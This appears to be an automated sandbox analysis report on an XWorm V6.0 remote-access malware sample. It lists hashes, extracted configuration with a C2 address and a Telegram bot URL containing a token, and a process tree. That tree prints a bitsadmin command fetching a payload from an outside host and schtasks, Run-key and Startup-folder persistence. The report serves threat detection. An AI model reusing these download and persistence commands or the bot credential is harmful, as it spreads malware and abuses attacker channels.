Analysis
- max time kernel
148s - max time network
141s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
14/08/2026, 03:17
Static task
static1
Behavioral task
behavioral1
Sample
2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe
Resource
win11ltsc2024-20260710-en
General
- Target 2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe
- Size 255KB
- Sample260814-dtdzcstdqe
- SHA256 2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0
- MD5 943c92f47e101e6bfcca29733cd14336
- SHA1 40fa9562a1831e3a44c6b24f6f0ee05bf9c9c0d1
- SHA512 5e2a7c9629629192f0af43442fc99c5fe9be636f5dda6fb9c572df129eba2397ecc0095c41a47b192c985214186dfe2b1209a44a1d428882ba2d66715e40728c
- SSDEEP 6144:Xt5hBPi0BW69hd1MMdxPe9N9uA069TBKrzmc7kO2+Ma7HAdQCDDibG1m0yj:Xtzww69Tgfmc7kOdMuAZD+bG1mx
- TLSH T1D044BE57B2E01198EBB582F6D5920706EB7074761714A3DB27B863B22B2B4C99F3C3D4
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
xworm
-
XWorm V6.0 | @PakReverseLab
-
45.141.27.211:6000
-
Install_directory
%AppData%
-
install_file
svchost.exe
-
localhost
127.0.0.1
-
telegram
https://api.telegram.org/bot8159101507:AAFU4ETqWUQIfaeNTGeEPX0kxelidWwGTpc/sendMessage?chat_id=8539272145
Signatures
- Detect Xworm Payload 2 IoCs
resource yara_rule behavioral2/memory/4840-3-0x0000000000410000-0x0000000000426000-memory.dmp family_xworm behavioral2/files/0x0009000000016b3a-10.dat family_xworm - Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 4876 bitsadmin.exe - Downloads MZ/PE file 1 IoCs
flow pid Process 10 3624 Process not Found - Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk slumzkck.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk slumzkck.exe - Executes dropped EXE 4 IoCs
pid Process 256 svchost.exe 4844 svchost.exe 2020 svchost.exe 3872 svchost.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe" slumzkck.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4692 cmd.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4420 schtasks.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4840 slumzkck.exe Token: SeDebugPrivilege 256 svchost.exe Token: SeDebugPrivilege 4844 svchost.exe Token: SeDebugPrivilege 2020 svchost.exe Token: SeDebugPrivilege 3872 svchost.exe - Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2292 wrote to memory of 4692 2292 2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe 89 PID 4692 wrote to memory of 4876 4692 cmd.exe 91 PID 4692 wrote to memory of 4840 4692 cmd.exe 94 PID 4840 wrote to memory of 4420 4840 slumzkck.exe 95 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe"C:\Users\Admin\AppData\Local\Temp\2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2292 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\332.tmp\333.tmp\334.bat C:\Users\Admin\AppData\Local\Temp\2dad4a69630e43f8cb558df33fd5f95867dafa2b85395c7563baddf21b9abef0.exe"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4692 -
C:\Windows\system32\bitsadmin.exebitsadmin /transfer "FileDownload" /download /priority FOREGROUND "http://slumzick.in.th/install.exe" "C:\ProgramData\slumzkck.exe"3⤵
- Download via BitsAdmin
PID:4876
-
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C:\ProgramData\slumzkck.exe"C:\ProgramData\slumzkck.exe"3⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4840 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"4⤵
- Scheduled Task/Job: Scheduled Task
PID:4420
-
-
-
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C:\Users\Admin\AppData\Roaming\svchost.exeC:\Users\Admin\AppData\Roaming\svchost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:256
-
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4844
-
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2020
-
C:\Users\Admin\AppData\Roaming\svchost.exe"C:\Users\Admin\AppData\Roaming\svchost.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3872
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
BITS Jobs
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Temp\332.tmp\333.tmp\334.bat
- Size 602B
- SHA256 16a56b1fa92dff89a84a6cdca79106c263cd8c83bb31f832715df000a7581bc3
- MD5 0df94b3c96353367c3500b3d21e1e57f
- SHA1 49fbf25da9a3e9a75a97ed827f9f8c48b78995b0
- SHA512 6ce9d3eb1fd15f962746fd00364ebd2122d36c56b2511eb38e515ba25fd1832447f533ad8bd36f8a9c15739abc421eeef83e148444d09ff1a369351144ad9b2d
- TLSH T190F081A77103919539349F0B07A93989D6AACA9E3FB6B4C13044409B7BF078B0C19DB6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\svchost.exe
- Size 66KB
- SHA256 5f6f5b277cde1856faebe415c063e92e147f6b11bcc2d3fe2c5bdb0a8d265a3d
- MD5 2bc7095ba09bb4dd46fe5753971e72da
- SHA1 b9823c2097ee09cdca5f697a022f5d2d4f832cff
- SHA512 771e9b976d59dbbd16603345602c0fb6883208b9b1a87cbf9cb02ecf78e8331c3ddf8cd1f2fa82b8a5388cd739bd8c94e105909716491f93bd64b84173742883
- SSDEEP 1536:YuVFomAs1q1wUJqop4xBbjRGsHxVoMOCOuJzl:YeAMqiU0oSxBbjosRuMOCO4l
- TLSH T114636D1837EA4129E1FFAFF159F13253C63BF6236903966F14D9028B1613A89CE416F6
- MD5 SHA1 SHA512 SSDEEP TLSH